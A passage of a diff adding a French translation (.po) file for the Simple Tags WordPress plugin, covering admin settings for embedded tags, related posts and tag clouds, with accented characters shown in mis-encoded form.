+msgstr "L'activation de cette option permettra Ã  WordPress de chercher des tags inclus Ã  l'intÃ©rieur de vos articles, lors de leur enregistrement et de leur affichage. Ces tags sont marquÃ©s comme <code>[tags]ceci, et cela[/tags]</code>, et sont ajoutÃ©s automatiquement Ã  votre article lors de son enregistrement, mais ne seront pas visibles pour vos visiteurs."
+
+#: /2.3/inc/simple-tags.admin.php:320
+#: /2.5/inc/simple-tags.admin.php:363
+#: /2.7/inc/simple-tags.admin.php:426
+msgid "Prefix for embedded tags:"
+msgstr "PrÃ©fixe des tags embarquÃ©s:"
+
+#: /2.3/inc/simple-tags.admin.php:321
+#: /2.5/inc/simple-tags.admin.php:364
+#: /2.7/inc/simple-tags.admin.php:427
+msgid "Suffix for embedded tags:"
+msgstr "Suffixe des tags embarquÃ©s:"
+
+#: /2.3/inc/simple-tags.admin.php:324
+#: /2.5/inc/simple-tags.admin.php:367
+#: /2.7/inc/simple-tags.admin.php:430
+msgid "Automatically display tags list into feeds"
+msgstr "Ajouter automatiquement les tags de l'article dans le flux RSS"
+
+#: /2.3/inc/simple-tags.admin.php:325
+#: /2.5/inc/simple-tags.admin.php:368
+#: /2.7/inc/simple-tags.admin.php:431
+msgid "Automatically display tags list into post content:"
+msgstr "Ajouter automatiquement la liste des tags dans le contenu des articles"
+
+#: /2.3/inc/simple-tags.admin.php:327
+#: /2.3/inc/simple-tags.admin.php:351
+#: /2.5/inc/simple-tags.admin.php:370
+#: /2.5/inc/simple-tags.admin.php:394
+#: /2.7/inc/simple-tags.admin.php:433
+#: /2.7/inc/simple-tags.admin.php:457
+msgid "<code>no</code> &ndash; Nowhere (default)"
+msgstr "<code>no</code> &ndash; Nulle part (dÃ©faut)"
+
+#: /2.3/inc/simple-tags.admin.php:328
+#: /2.3/inc/simple-tags.admin.php:352
+#: /2.5/inc/simple-tags.admin.php:371
+#: /2.5/inc/simple-tags.admin.php:395
+#: /2.7/inc/simple-tags.admin.php:434
+#: /2.7/inc/simple-tags.admin.php:458
+msgid "<code>all</code> &ndash; On your blog and feeds."
+msgstr "<code>all</code> &ndash; Dans le blog et les flux RSS."
+
+#: /2.3/inc/simple-tags.admin.php:329
+#: /2.3/inc/simple-tags.admin.php:353
+#: /2.5/inc/simple-tags.admin.php:372
+#: /2.5/inc/simple-tags.admin.php:396
+#: /2.7/inc/simple-tags.admin.php:435
+#: /2.7/inc/simple-tags.admin.php:459
+msgid "<code>blogonly</code> &ndash; Only on your blog."
+msgstr "<code>blogonly</code> &ndash; Seulement dans le blog."
+
+#: /2.3/inc/simple-tags.admin.php:330
+#: /2.3/inc/simple-tags.admin.php:354
+#: /2.5/inc/simple-tags.admin.php:373
+#: /2.5/inc/simple-tags.admin.php:397
+#: /2.7/inc/simple-tags.admin.php:436
+#: /2.7/inc/simple-tags.admin.php:460
+msgid "<code>homeonly</code> &ndash; Only on your home page."
+msgstr "<code>homeonly</code> &ndash; Seulement sur la page d'accueil du blog."
+
+#: /2.3/inc/simple-tags.admin.php:331
+#: /2.3/inc/simple-tags.admin.php:355
+#: /2.5/inc/simple-tags.admin.php:374
+#: /2.5/inc/simple-tags.admin.php:398
+#: /2.7/inc/simple-tags.admin.php:437
+#: /2.7/inc/simple-tags.admin.php:461
+msgid "<code>singularonly</code> &ndash; Only on your singular view (single & page)."
+msgstr "<code>singularonly</code> &ndash; Seulement sur une vue dÃ©taillÃ©e (page ou article)."
+
+#: /2.3/inc/simple-tags.admin.php:332
+#: /2.3/inc/simple-tags.admin.php:356
+#: /2.5/inc/simple-tags.admin.php:375
+#: /2.5/inc/simple-tags.admin.php:399
+#: /2.7/inc/simple-tags.admin.php:438
+#: /2.7/inc/simple-tags.admin.php:462
+msgid "<code>singleonly</code> &ndash; Only on your single view."
+msgstr "<code>singleonly</code> &ndash; Seulement sur une vue dÃ©taillÃ©e d'article."
+
+#: /2.3/inc/simple-tags.admin.php:333
+#: /2.3/inc/simple-tags.admin.php:357
+#: /2.5/inc/simple-tags.admin.php:376
+#: /2.5/inc/simple-tags.admin.php:400
+#: /2.7/inc/simple-tags.admin.php:439
+#: /2.7/inc/simple-tags.admin.php:463
+msgid "<code>pageonly</code> &ndash; Only on your page view."
+msgstr "<code>pageonly</code> &ndash; Seulement sur une vue dÃ©taillÃ©e de page."
+
+#: /2.3/inc/simple-tags.admin.php:335
+#: /2.5/inc/simple-tags.admin.php:378
+#: /2.7/inc/simple-tags.admin.php:441
+msgid "Post tag separator string:"
+msgstr "SÃ©parateur entre les tags:"
+
+#: /2.3/inc/simple-tags.admin.php:336
+#: /2.5/inc/simple-tags.admin.php:379
+#: /2.7/inc/simple-tags.admin.php:442
+msgid "Text to display before tags list:"
+msgstr "Texte Ã  afficher avant la liste de tags:"
+
+#: /2.3/inc/simple-tags.admin.php:337
+#: /2.5/inc/simple-tags.admin.php:380
+#: /2.7/inc/simple-tags.admin.php:443
+msgid "Text to display after tags list:"
+msgstr "Texte Ã  afficher aprÃšs la liste de tags:"
+
+#: /2.3/inc/simple-tags.admin.php:338
+#: /2.5/inc/simple-tags.admin.php:381
+#: /2.7/inc/simple-tags.admin.php:444
+msgid "Max tags display:"
+msgstr "Nombre max de tag Ã  afficher:"
+
+#: /2.3/inc/simple-tags.admin.php:339
+#: /2.5/inc/simple-tags.admin.php:382
+#: /2.7/inc/simple-tags.admin.php:445
+msgid "You must set zero (0) for display all tags."
+msgstr "Vous devez mettre zÃ©ro (0) pour afficher tous les tags."
+
+#: /2.3/inc/simple-tags.admin.php:340
+#: /2.5/inc/simple-tags.admin.php:383
+#: /2.7/inc/simple-tags.admin.php:446
+msgid "Include categories in result ?"
+msgstr "Inclure les catÃ©gories dans le resultat ?"
+
+#: /2.3/inc/simple-tags.admin.php:341
+#: /2.3/inc/simple-tags.admin.php:448
+#: /2.5/inc/simple-tags.admin.php:384
+#: /2.5/inc/simple-tags.admin.php:491
+#: /2.7/inc/simple-tags.admin.php:447
+#: /2.7/inc/simple-tags.admin.php:554
+msgid "Tag link format:"
+msgstr "Format des liens des tags:"
+
+#: /2.3/inc/simple-tags.admin.php:342
+#: /2.3/inc/simple-tags.admin.php:370
+#: /2.3/inc/simple-tags.admin.php:398
+#: /2.3/inc/simple-tags.admin.php:416
+#: /2.3/inc/simple-tags.admin.php:449
+#: /2.5/inc/simple-tags.admin.php:385
+#: /2.5/inc/simple-tags.admin.php:413
+#: /2.5/inc/simple-tags.admin.php:441
+#: /2.5/inc/simple-tags.admin.php:459
+#: /2.5/inc/simple-tags.admin.php:492
+#: /2.7/inc/simple-tags.admin.php:448
+#: /2.7/inc/simple-tags.admin.php:476
+#: /2.7/inc/simple-tags.admin.php:504
+#: /2.7/inc/simple-tags.admin.php:522
+#: /2.7/inc/simple-tags.admin.php:555
+msgid "You can find markers and explanations <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">in the online documentation.</a>"
+msgstr "Vous pouvez trouver les marqueurs et les explications <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">sur la documentation en ligne.</a>"
+
+#: /2.3/inc/simple-tags.admin.php:343
+#: /2.5/inc/simple-tags.admin.php:386
+#: /2.7/inc/simple-tags.admin.php:449
+msgid "Text to display if no tags found:"
+msgstr "Texte Ã  afficher si aucun tag n'a Ã©tÃ© trouvÃ©:"
+
+#: /2.3/inc/simple-tags.admin.php:344
+#: /2.3/inc/simple-tags.admin.php:374
+#: /2.3/inc/simple-tags.admin.php:403
+#: /2.3/inc/simple-tags.admin.php:461
+#: /2.5/inc/simple-tags.admin.php:387
+#: /2.5/inc/simple-tags.admin.php:417
+#: /2.5/inc/simple-tags.admin.php:446
+#: /2.5/inc/simple-tags.admin.php:504
+#: /2.7/inc/simple-tags.admin.php:450
+#: /2.7/inc/simple-tags.admin.php:480
+#: /2.7/inc/simple-tags.admin.php:509
+#: /2.7/inc/simple-tags.admin.php:567
+msgid "<strong>Advanced usage</strong>:"
+msgstr "<strong>Utilisation avancÃ©e</strong>:"
+
+#: /2.3/inc/simple-tags.admin.php:345
+#: /2.5/inc/simple-tags.admin.php:388
+#: /2.7/inc/simple-tags.admin.php:451
+msgid "You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Vous pouvez utiliser la mÃªme syntaxe que la fonction <code>st_the_tags()</code> pour personnaliser l'affichage. Consulter la <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> pour plus d'informations."
+
+#: /2.3/inc/simple-tags.admin.php:348
+#: /2.5/inc/simple-tags.admin.php:391
+#: /2.7/inc/simple-tags.admin.php:454
+msgid "Automatically display related posts into feeds"
+msgstr "Ajouter automatiquement les articles relatifs dans le flux RSS"
+
+#: /2.3/inc/simple-tags.admin.php:349
+#: /2.5/inc/simple-tags.admin.php:392
+#: /2.7/inc/simple-tags.admin.php:455
+msgid "Automatically display related posts into post content"
+msgstr "Ajouter automatiquement les articles relatifs dans le contenu des articles"
+
+#: /2.3/inc/simple-tags.admin.php:359
+#: /2.5/inc/simple-tags.admin.php:402
+#: /2.7/inc/simple-tags.admin.php:465
+msgid "Related Posts Order:"
+msgstr "Ordre des articles relatifs:"
+
+#: /2.3/inc/simple-tags.admin.php:361
+#: /2.5/inc/simple-tags.admin.php:404
+#: /2.7/inc/simple-tags.admin.php:467
+msgid "<code>date-asc</code> &ndash; Older Entries."
+msgstr "<code>date-asc</code> &ndash; Plus anciens."
+
+#: /2.3/inc/simple-tags.admin.php:362
+#: /2.5/inc/simple-tags.admin.php:405
+#: /2.7/inc/simple-tags.admin.php:468
+msgid "<code>date-desc</code> &ndash; Newer Entries."
+msgstr "<code>date-desc</code> &ndash; Plus rÃ©cents."
+
+#: /2.3/inc/simple-tags.admin.php:363
+#: /2.5/inc/simple-tags.admin.php:406
+#: /2.7/inc/simple-tags.admin.php:469
+msgid "<code>count-asc</code> &ndash; Least common tags between posts"
+msgstr "<code>count-asc</code> &ndash; Le moins de tags en commun entre 2 articles."
+
+#: /2.3/inc/simple-tags.admin.php:364
+#: /2.5/inc/simple-tags.admin.php:407
+#: /2.7/inc/simple-tags.admin.php:470
+msgid "<code>count-desc</code> &ndash; Most common tags between posts (default)"
+msgstr "<code>count-desc</code> &ndash; Le plus de tags en commun entre 2 articles. (dÃ©faut)"
+
+#: /2.3/inc/simple-tags.admin.php:365
+#: /2.3/inc/simple-tags.admin.php:383
+#: /2.3/inc/simple-tags.admin.php:430
+#: /2.3/inc/simple-tags.admin.php:438
+#: /2.5/inc/simple-tags.admin.php:408
+#: /2.5/inc/simple-tags.admin.php:426
+#: /2.5/inc/simple-tags.admin.php:473
+#: /2.5/inc/simple-tags.admin.php:481
+#: /2.7/inc/simple-tags.admin.php:471
+#: /2.7/inc/simple-tags.admin.php:489
+#: /2.7/inc/simple-tags.admin.php:536
+#: /2.7/inc/simple-tags.admin.php:544
+msgid "<code>name-asc</code> &ndash; Alphabetical."
+msgstr "<code>name-asc</code> &ndash; Ordre alphabÃ©tique."
+
+#: /2.3/inc/simple-tags.admin.php:366
+#: /2.3/inc/simple-tags.admin.php:384
+#: /2.3/inc/simple-tags.admin.php:431
+#: /2.3/inc/simple-tags.admin.php:439
+#: /2.5/inc/simple-tags.admin.php:409
+#: /2.5/inc/simple-tags.admin.php:427
+#: /2.5/inc/simple-tags.admin.php:474
+#: /2.5/inc/simple-tags.admin.php:482
+#: /2.7/inc/simple-tags.admin.php:472
+#: /2.7/inc/simple-tags.admin.php:490
+#: /2.7/inc/simple-tags.admin.php:537
+#: /2.7/inc/simple-tags.admin.php:545
+msgid "<code>name-desc</code> &ndash; Inverse Alphabetical."
+msgstr "<code>name-desc</code> &ndash; Inverse de l'ordre alphabÃ©tique."
+
+#: /2.3/inc/simple-tags.admin.php:367
+#: /2.3/inc/simple-tags.admin.php:385
+#: /2.3/inc/simple-tags.admin.php:432
+#: /2.5/inc/simple-tags.admin.php:410
+#: /2.5/inc/simple-tags.admin.php:428
+#: /2.5/inc/simple-tags.admin.php:475
+#: /2.7/inc/simple-tags.admin.php:473
+#: /2.7/inc/simple-tags.admin.php:491
+#: /2.7/inc/simple-tags.admin.php:538
+msgid "<code>random</code> &ndash; Random."
+msgstr "<code>random</code> &ndash; AlÃ©atoire."
+
+#: /2.3/inc/simple-tags.admin.php:369
+#: /2.5/inc/simple-tags.admin.php:412
+#: /2.7/inc/simple-tags.admin.php:475
+msgid "Post link format:"
+msgstr "Format des liens des articles:"
+
+#: /2.3/inc/simple-tags.admin.php:371
+#: /2.5/inc/simple-tags.admin.php:414
+#: /2.7/inc/simple-tags.admin.php:477
+msgid "Maximum number of related posts to display: (default: 5)"
+msgstr "Nombre max d'articles relatifs Ã  afficher: (defaut: 5)"
+
+#: /2.3/inc/simple-tags.admin.php:372
+#: /2.5/inc/simple-tags.admin.php:415
+#: /2.7/inc/simple-tags.admin.php:478
+msgid "Enter the text to show when there is no related post:"
+msgstr "Entrer le texte Ã  afficher lorsqu'il n'y a pas d'articles relatifs:"
+
+#: /2.3/inc/simple-tags.admin.php:373
+#: /2.3/inc/simple-tags.admin.php:402
+#: /2.3/inc/simple-tags.admin.php:452
+#: /2.5/inc/simple-tags.admin.php:416
+#: /2.5/inc/simple-tags.admin.php:445
+#: /2.5/inc/simple-tags.admin.php:495
+#: /2.7/inc/simple-tags.admin.php:479
+#: /2.7/inc/simple-tags.admin.php:508
+#: /2.7/inc/simple-tags.admin.php:558
+msgid "Enter the positioned title before the list, leave blank for no title:"
+msgstr "Entrer le titre positionnÃ© avant la liste, laisser vide, pour ne rien afficher:"
+
+#: /2.3/inc/simple-tags.admin.php:375
+#: /2.5/inc/simple-tags.admin.php:418
+#: /2.7/inc/simple-tags.admin.php:481
+msgid "You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Vous pouvez utiliser la mÃªme syntaxe que la fonction <code>st_related_posts()</code> pour personnaliser l'affichage. Consulter la <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> pour plus d'informations."
+
+#: /2.3/inc/simple-tags.admin.php:378
+#: /2.5/inc/simple-tags.admin.php:421
+#: /2.7/inc/simple-tags.admin.php:484
+msgid "Maximum number of related tags to display: (default: 5)"
+msgstr "Nombre max de tags relatifs Ã  afficher: (defaut: 5)"
+
+#: /2.3/inc/simple-tags.admin.php:379
+#: /2.5/inc/simple-tags.admin.php:422
+#: /2.7/inc/simple-tags.admin.php:485
+msgid "Order related tags:"
+msgstr "Ordre des tags relatifs:"
+
+#: /2.3/inc/simple-tags.admin.php:381
+#: /2.3/inc/simple-tags.admin.php:428
+#: /2.3/inc/simple-tags.admin.php:436
+#: /2.5/inc/simple-tags.admin.php:424
+#: /2.5/inc/simple-tags.admin.php:471
+#: /2.5/inc/simple-tags.admin.php:479
+#: /2.7/inc/simple-tags.admin.php:487
+#: /2.7/inc/simple-tags.admin.php:534
+#: /2.7/inc/simple-tags.admin.php:542
+msgid "<code>count-asc</code> &ndash; Least used."
+msgstr "<code>count-asc</code> &ndash; Les moins utilisÃ©s."
+
+#: /2.3/inc/simple-tags.admin.php:382
+#: /2.3/inc/simple-tags.admin.php:429
+#: /2.5/inc/simple-tags.admin.php:425
+#: /2.5/inc/simple-tags.admin.php:472
+#: /2.7/inc/simple-tags.admin.php:488
+#: /2.7/inc/simple-tags.admin.php:535
+msgid "<code>count-desc</code> &ndash; Most popular. (default)"
+msgstr "<code>count-desc</code> &ndash; Les plus populaires.(dÃ©faut)"
+
+#: /2.3/inc/simple-tags.admin.php:387
+#: /2.5/inc/simple-tags.admin.php:430
+#: /2.7/inc/simple-tags.admin.php:493
+msgid "Related tags type format:"
+msgstr "Format des tags relatifs:"
+
+#: /2.3/inc/simple-tags.admin.php:389
+#: /2.3/inc/simple-tags.admin.php:409
+#: /2.3/inc/simple-tags.admin.php:445
+#: /2.5/inc/simple-tags.admin.php:432
+#: /2.5/inc/simple-tags.admin.php:452
+#: /2.5/inc/simple-tags.admin.php:488
+#: /2.7/inc/simple-tags.admin.php:495
+#: /2.7/inc/simple-tags.admin.php:515
+#: /2.7/inc/simple-tags.admin.php:551
+msgid "<code>list</code> &ndash; Display a formatted list (ul/li)."
+msgstr "<code>list</code> &ndash; Affiche une liste formatÃ©e (ul/li)."
+
+#: /2.3/inc/simple-tags.admin.php:390
+#: /2.3/inc/simple-tags.admin.php:410
+#: /2.3/inc/simple-tags.admin.php:446
+#: /2.5/inc/simple-tags.admin.php:433
+#: /2.5/inc/simple-tags.admin.php:453
+#: /2.5/inc/simple-tags.admin.php:489
+#: /2.7/inc/simple-tags.admin.php:496
+#: /2.7/inc/simple-tags.admin.php:516
+#: /2.7/inc/simple-tags.admin.php:552
+msgid "<code>flat</code> &ndash; Display inline (no list, just a div)"
+msgstr "<code>flat</code> &ndash; Afficher en ligne (pas de liste, juste un balise div)"
+
+#: /2.3/inc/simple-tags.admin.php:392
+#: /2.5/inc/simple-tags.admin.php:435
+#: /2.7/inc/simple-tags.admin.php:498
+msgid "Method of tags intersections and unions used to build related tags link:"
+msgstr "MÃ©thode d'intersections et d'unions utilisÃ©e pour la construction des liens des tags relatifs"
+
+#: /2.3/inc/simple-tags.admin.php:394
+#: /2.5/inc/simple-tags.admin.php:437
+#: /2.7/inc/simple-tags.admin.php:500
+msgid "<code>OR</code> &ndash; Fetches posts with either the \"Tag1\" <strong>or</strong> the \"Tag2\" tag. (default)"
+msgstr "<code>OR</code> &ndash; RÃ©cupÃšre les articles contenant les tags \"Tag1\" <strong>ou</strong> \"Tag2\"."
+
+#: /2.3/inc/simple-tags.admin.php:395
+#: /2.5/inc/simple-tags.admin.php:438
+#: /2.7/inc/simple-tags.admin.php:501
+msgid "<code>AND</code> &ndash; Fetches posts with both the \"Tag1\" <strong>and</strong> the \"Tag2\" tag."
+msgstr "<code>AND</code> &ndash; RÃ©cupÃšre les articles contenant les tags \"Tag1\" <strong>et</strong> \"Tag2\"."
+
+#: /2.3/inc/simple-tags.admin.php:397
+#: /2.5/inc/simple-tags.admin.php:440
+#: /2.7/inc/simple-tags.admin.php:503
+msgid "Related tags link format:"
+msgstr "Format des liens des tags relatifs:"
+
+#: /2.3/inc/simple-tags.admin.php:399
+#: /2.5/inc/simple-tags.admin.php:442
+#: /2.7/inc/simple-tags.admin.php:505
+msgid "Related tags separator:"
+msgstr "SÃ©parateur entre les tags relatifs:"
+
+#: /2.3/inc/simple-tags.admin.php:400
+#: /2.3/inc/simple-tags.admin.php:413
+#: /2.5/inc/simple-tags.admin.php:443
+#: /2.5/inc/simple-tags.admin.php:456
+#: /2.7/inc/simple-tags.admin.php:506
+#: /2.7/inc/simple-tags.admin.php:519
+msgid "Leave empty for list format."
+msgstr "Laisser vide si vous utilisez le format \"list\""
+
+#: /2.3/inc/simple-tags.admin.php:401
+#: /2.5/inc/simple-tags.admin.php:444
+#: /2.7/inc/simple-tags.admin.php:507
+msgid "Enter the text to show when there is no related tags:"
+msgstr "Entrer le texte Ã  afficher lorsqu'il n'y a pas de tags relatifs:"
+
+#: /2.3/inc/simple-tags.admin.php:404
+#: /2.5/inc/simple-tags.admin.php:447
+#: /2.7/inc/simple-tags.admin.php:510
+msgid "You can use the same syntax as <code>st_related_tags()</code>function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Vous pouvez utiliser la mÃªme syntaxe que la fonction <code>st_related_tags()</code> pour personnaliser l'affichage. Consulter la <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> pour plus d'informations."
+
+#: /2.3/inc/simple-tags.admin.php:406
+#: /2.5/inc/simple-tags.admin.php:449
+#: /2.7/inc/simple-tags.admin.php:512
+msgid "Remove related Tags"
+msgstr "Tags relatifs Ã  supprimer:"
+
+#: /2.3/inc/simple-tags.admin.php:407
+#: /2.5/inc/simple-tags.admin.php:450
+#: /2.7/inc/simple-tags.admin.php:513
+msgid "Remove related Tags type format:"
+msgstr "Format des tags relatifs Ã  supprimer:"
+
+#: /2.3/inc/simple-tags.admin.php:412
+#: /2.5/inc/simple-tags.admin.php:455
+#: /2.7/inc/simple-tags.admin.php:518
+msgid "Remove related tags separator:"
+msgstr "SÃ©parateur entre les tags relatifs Ã  supprimer:"
+
+#: /2.3/inc/simple-tags.admin.php:414
+#: /2.5/inc/simple-tags.admin.php:457
+#: /2.7/inc/simple-tags.admin.php:520
+msgid "Enter the text to show when there is no remove related tags:"
+msgstr "Entrer le texte Ã  afficher lorsqu'il n'y a pas de tags relatifs Ã  supprimer:"
+
+#: /2.3/inc/simple-tags.admin.php:415
+#: /2.5/inc/simple-tags.admin.php:458
+#: /2.7/inc/simple-tags.admin.php:521
+msgid "Remove related tags  link format:"
+msgstr "Format des liens des tags relatifs Ã  supprimer:"
+
+#: /2.3/inc/simple-tags.admin.php:419
+#: /2.5/inc/simple-tags.admin.php:462
+#: /2.7/inc/simple-tags.admin.php:525
+msgid "Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+msgstr "Quelle est la diffÃ©rence entre <strong>&#8216;Ordre de sÃ©lection des tags&#8217;</strong> et <strong>&#8216;Ordre d'affichage des tags&#8217;</strong> ?<br />"
+
+#: /2.3/inc/simple-tags.admin.php:421
+#: /2.5/inc/simple-tags.admin.php:464
+#: /2.7/inc/simple-tags.admin.php:527
+msgid "<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag's cloud generation, corresponding to collect tags."
+msgstr "<strong>&#8216;Ordre de sÃ©lection des tags&#8217;</strong> est la premiÃšre Ã©tape de la gÃ©nÃ©ration du nuage de tags, elle correspond Ã  la rÃ©cupÃ©ration des tags."
+
+#: /2.3/inc/simple-tags.admin.php:422
+#: /2.5/inc/simple-tags.admin.php:465
+#: /2.7/inc/simple-tags.admin.php:528
+msgid "<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display."
+msgstr "<strong>&#8216;Ordre d'affichage des tags&#8217;</strong> est la seconde Ã©tape. Une fois les tags rÃ©cupÃ©rÃ©s, vous pouvez les rÃ©ordonner avant l'affichage."
+
+#: /2.3/inc/simple-tags.admin.php:424
+#: /2.5/inc/simple-tags.admin.php:467
+#: /2.7/inc/simple-tags.admin.php:530
+msgid "<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />"
+msgstr "<strong>Exemple:</strong> Vous voulez afficher alÃ©atoirement les 100 tags les plus populaires.<br />"
+
+#: /2.3/inc/simple-tags.admin.php:425
+#: /2.5/inc/simple-tags.admin.php:468
+#: /2.7/inc/simple-tags.admin.php:531
+msgid "You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud."
+msgstr "Vous devez fixer l'option &#8216;Ordre de sÃ©lection des tags&#8217; sur <strong>count-desc</strong> pour rÃ©cupÃ©rer les 100 tags les plus utilisÃ©s. Fixer ensuite l'option &#8216;Ordre d'affichage des tags&#8217; sur <strong>random</strong> pour mÃ©langer le nuage."
+
+#: /2.3/inc/simple-tags.admin.php:426
+#: /2.5/inc/simple-tags.admin.php:469
+#: /2.7/inc/simple-tags.admin.php:532
+msgid "Order tags selection:"
+msgstr "Ordre de sÃ©lection des tags"
+
+#: /2.3/inc/simple-tags.admin.php:434
+#: /2.3/inc/simple-tags.widgets.php:167
+#: /2.5/inc/simple-tags.admin.php:477
+#: /2.5/inc/simple-tags.widgets.php:155
+#: /2.7/inc/simple-tags.admin.php:540
+#: /2.7/inc/simple-tags.widgets.php:155
+msgid "Order tags display:"
+msgstr "Ordre d'affichage des tags"
+
+#: /2.3/inc/simple-tags.admin.php:437
+#: /2.5/inc/simple-tags.admin.php:480
+#: /2.7/inc/simple-tags.admin.php:543
+msgid "<code>count-desc</code> &ndash; Most popular."
+msgstr "<code>count-desc</code> &ndash; Les plus populaires."
+
+#: /2.3/inc/simple-tags.admin.php:440
+#: /2.5/inc/simple-tags.admin.php:483
+#: /2.7/inc/simple-tags.admin.php:546
+msgid "<code>random</code> &ndash; Random. (default)"
+msgstr "<code>random</code> &ndash; AlÃ©atoire. (dÃ©faut)"
+
+#: /2.3/inc/simple-tags.admin.php:442
+#: /2.5/inc/simple-tags.admin.php:485
+#: /2.7/inc/simple-tags.admin.php:548
+msgid "Include categories in tag cloud ?"
+msgstr "Inclure les catÃ©gories dans la nuage de tags ?"
+
+#: /2.3/inc/simple-tags.admin.php:443
+#: /2.5/inc/simple-tags.admin.php:486
+#: /2.7/inc/simple-tags.admin.php:549
+msgid "Tags cloud type format:"
+msgstr "Format du nuage de tags:"
+
+#: /2.3/inc/simple-tags.admin.php:450
+#: /2.5/inc/simple-tags.admin.php:493
+#: /2.7/inc/simple-tags.admin.php:556
+msgid "Maximum number of tags to display: (default: 45)"
+msgstr "Nombre max de tags Ã  afficher: (dÃ©faut: 45)"
+
+#: /2.3/inc/simple-tags.admin.php:451
+#: /2.5/inc/simple-tags.admin.php:494
+#: /2.7/inc/simple-tags.admin.php:557
+msgid "Enter the text to show when there is no tag:"
+msgstr "Entrer le texte Ã  afficher lorsqu'il n'y a pas de tags:"
+
+#: /2.3/inc/simple-tags.admin.php:453
+#: /2.5/inc/simple-tags.admin.php:496
+#: /2.7/inc/simple-tags.admin.php:559
+msgid "Most popular color:"
+msgstr "Couleur des tags les plus populaires"
+
+#: /2.3/inc/simple-tags.admin.php:454
+#: /2.5/inc/simple-tags.admin.php:497
+#: /2.7/inc/simple-tags.admin.php:560
+msgid "The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee)."
+msgstr "Les couleurs sont reprÃ©sentÃ©es par leur code hexadÃ©cimal, et nÃ©cessite 6 caractÃšres. (ex. #eee est la version raccourcie de #eeeeee)."
+
+#: /2.3/inc/simple-tags.admin.php:455
+#: /2.5/inc/simple-tags.admin.php:498
+#: /2.7/inc/simple-tags.admin.php:561
+msgid "Least popular color:"
+msgstr "Couleur des tags les moins utilisÃ©s"
+
+#: /2.3/inc/simple-tags.admin.php:456
+#: /2.5/inc/simple-tags.admin.php:499
+#: /2.7/inc/simple-tags.admin.php:562
+msgid "Most popular font size:"
+msgstr "Taille pour les tags les plus populaires"
+
+#: /2.3/inc/simple-tags.admin.php:457
+#: /2.5/inc/simple-tags.admin.php:500
+#: /2.7/inc/simple-tags.admin.php:563
+msgid "The two font sizes are the size of the largest and smallest tags."
+msgstr "Les 2 tailles de polices reprÃ©sentent la taille maximale et minimale des tags."
+
+#: /2.3/inc/simple-tags.admin.php:458
+#: /2.5/inc/simple-tags.admin.php:501
+#: /2.7/inc/simple-tags.admin.php:564
+msgid "Least popular font size:"
+msgstr "Taille pour les tags les moins utilisÃ©s"
+
+#: /2.3/inc/simple-tags.admin.php:459
+#: /2.5/inc/simple-tags.admin.php:502
+#: /2.7/inc/simple-tags.admin.php:565
+msgid "The units to display the font sizes with, on tag clouds:"
+msgstr "UnitÃ© Ã  utiliser pour la taille des polices dans le nuage de tags:"
+
+#: /2.3/inc/simple-tags.admin.php:460
+#: /2.5/inc/simple-tags.admin.php:503
+#: /2.7/inc/simple-tags.admin.php:566
+msgid "The font size units option determines the units that the two font sizes use."
+msgstr "Cette option dÃ©termine l'unitÃ© Ã  utiliser pour la taille des tags dans le nuage."
+
+#: /2.3/inc/simple-tags.admin.php:462
+#: /2.5/inc/simple-tags.admin.php:505
+#: /2.7/inc/simple-tags.admin.php:568
+msgid "You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> for more details."
+msgstr "Vous pouvez utiliser la mÃªme syntaxe que la fonction <code>st_tag_cloud()</code> pour personnaliser l'affichage. Consulter la <a href=\"http://code.google.com/p/simple-tags/wiki/ThemeIntegration\">documentation</a> pour plus d'informations."
+
+#: /2.3/inc/simple-tags.admin.php:476
+#: /2.5/inc/simple-tags.admin.php:519
+#: /2.7/inc/simple-tags.admin.php:582
+msgid "Options saved"
+msgstr "Les options ont Ã©tÃ© sauvegardÃ©es."
+
+#: /2.3/inc/simple-tags.admin.php:480
+#: /2.5/inc/simple-tags.admin.php:523
+#: /2.7/inc/simple-tags.admin.php:586
+msgid "Simple Tags options resetted to default options!"
+msgstr "Les options par dÃ©faut de Simple Tags ont Ã©tÃ© restaurÃ©es."
+
+#: /2.3/inc/simple-tags.admin.php:486
+#: /2.5/inc/simple-tags.admin.php:529
+#, php-format
+msgid "All Simple Tags options are deleted ! You <a href=\"%s\">deactive plugin</a> now !"
+msgstr "Toutes les options de Simple Tags sont Ã©ffacÃ©es ! Vous pouvez <a href=\"%s\">dÃ©sinstaller le plugin</a>  !"
+
+#: /2.3/inc/simple-tags.admin.php:526
+#: /2.3/inc/simple-tags.admin.php:550
+msgid "Update Options &raquo;"
+msgstr "Mettre Ã  jour les options &raquo;"
+
+#: /2.3/inc/simple-tags.admin.php:527
+#: /2.3/inc/simple-tags.admin.php:551
+#: /2.5/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:564
+#: /2.7/inc/simple-tags.admin.php:597
+#: /2.7/inc/simple-tags.admin.php:611
+msgid "Do you really want to restore the default options?"
+msgstr "Ãtes-vous sur de vouloir restaurer les options par dÃ©faut?"
+
+#: /2.3/inc/simple-tags.admin.php:527
+#: /2.3/inc/simple-tags.admin.php:551
+#: /2.5/inc/simple-tags.admin.php:541
+#: /2.5/inc/simple-tags.admin.php:564
+#: /2.7/inc/simple-tags.admin.php:597
